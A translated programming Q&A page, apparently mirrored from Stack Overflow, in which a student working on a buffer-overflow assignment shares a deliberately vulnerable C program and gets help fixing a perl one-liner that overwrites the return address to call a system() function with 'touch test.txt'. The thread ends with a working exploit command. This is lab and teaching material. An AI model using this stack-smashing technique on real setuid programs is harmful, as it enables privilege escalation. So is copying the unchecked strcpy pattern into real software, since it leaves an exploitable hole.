【问题标题】:Exploiting a Stack Buffer Overflow利用堆栈缓冲区溢出
【发布时间】:2021-01-19 22:03:51
【问题描述】:

我正在执行缓冲区溢出分配,但我坚持使用此命令的语法:

$ ./script $(perl -e 'print "A" x 36 . "\x40\x83\x04\x08"' | touch test.txt)

我们希望使用这一衬里而不是外壳。返回地址是正确的,它会将我带到程序集中的正确位置,但是当我运行它时,函数会以标准用户身份执行,而不是以 root 身份运行。

据我所知,问题在于语法或引号。

我怎样才能纠正一个衬线?

脚本来源

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

char arg1[60];
char arg2[60];

void func(char *s){
    char buf[32];
    strcpy(buf, s);
    
    printf("you entered: %s\n", buf);
}

void secret(){
  system(arg2);
}

int main(int argc, char *argv[]){
    if(argc < 2){
        printf("Usage: %s some_string\n", argv[0]);
        return 2;
    }
    strcpy(arg1, argv[1]);

    if (argc == 3) {
      strcpy(arg2, argv[2]);
    }
      
    func(argv[1]);
    return 0;
}

【问题讨论】:

  • 他们为什么要以root身份执行?
  • | touch test.txt) 部分应该做什么?您正在将 perl 命令的输出(打印!)输入到 touch 命令中。
  • @Marco 它的全部目的是创建一个 txt 文件作为 root,而不是标准用户。该脚本本质上是两个参数,arg1 是填充缓冲区并提供返回地址的 perl 脚本,arg 2 应该允许访问 system() 函数,应该在其中创建 test.txt 文件。
  • 好的,但是你想利用的缓冲区溢出在哪里呢?它是在脚本中还是在 arg2 程序中?您现在对脚本的调用只需要一个参数。
  • 无论如何,如果您能提供有关脚本的更多信息会有所帮助(如果您有源代码,那将是最好的!)

标签: c linux bash buffer-overflow


【解决方案1】:

我认为你不需要| touch test.txt) 的部分。

./script $(perl -e 'print "A" x 36 . "\x40\x83\x04\x08"') "touch test.txt"

应该可以。

我不确定你为什么将 shell 脚本的输出通过管道传送到 touch 命令(我假设你想要利用的缓冲区溢出在脚本中,并且它最终以某种方式使用第二个参数作为函数的参数)。

就它以普通用户身份执行的原因而言,在您的场景中,您的 shell 以普通用户身份运行 touch。我认为你想要做的是以 root 身份运行你的脚本(通过将其设为setuid binary 或仅使用sudo 运行程序,并使脚本实际执行对system("touch ..."); 的调用。

【讨论】:

  • 是的,它可以填充缓冲区并将帧指针设置为正确的地址,但我还需要使用 arg 2 的 system() 函数创建一个文本文件,这是第二部分|触摸 test.txt。
  • 但是你不需要使用管道,你可以用空格分隔参数。查看更新的代码
  • 感谢您更新答案,我已经尝试过了,出现分段错误并且未创建文件。我也试过./script $(perl -e 'print "A" x 36 . "\x40\x83\x04\x08"') `touch test.txt` ,结果相同。
  • 分段错误很好。这意味着您的脚本已被执行,并且您崩溃了缓冲区溢出。也许您可以将 gdb 附加到脚本中,然后继续查看是什么弄乱了调用。
  • 在这种情况下,您的目标是用您要执行的函数的地址 (system) 覆盖存储在堆栈中的返回地址。重要的是在这里了解程序是如何编译的(或者可能只是访问程序集),以便更好地了解您出错的地方。
【解决方案2】:

经过一些修补和社区的大量帮助,解决方案是使用:

./step4 `perl -e 'print "A" x 36 . "\x94\x84\x04\x08"'` "touch test.txt"

我检查了 gdb 中的程序集,调用了秘密函数的 正确 地址,并通过将 $() 替换为反引号,攻击按预期执行。非常感谢 Marco 在这方面的帮助。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2017-02-23
    • 1970-01-01
    • 1970-01-01
    • 2010-11-11
    • 1970-01-01
    • 2015-07-03
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多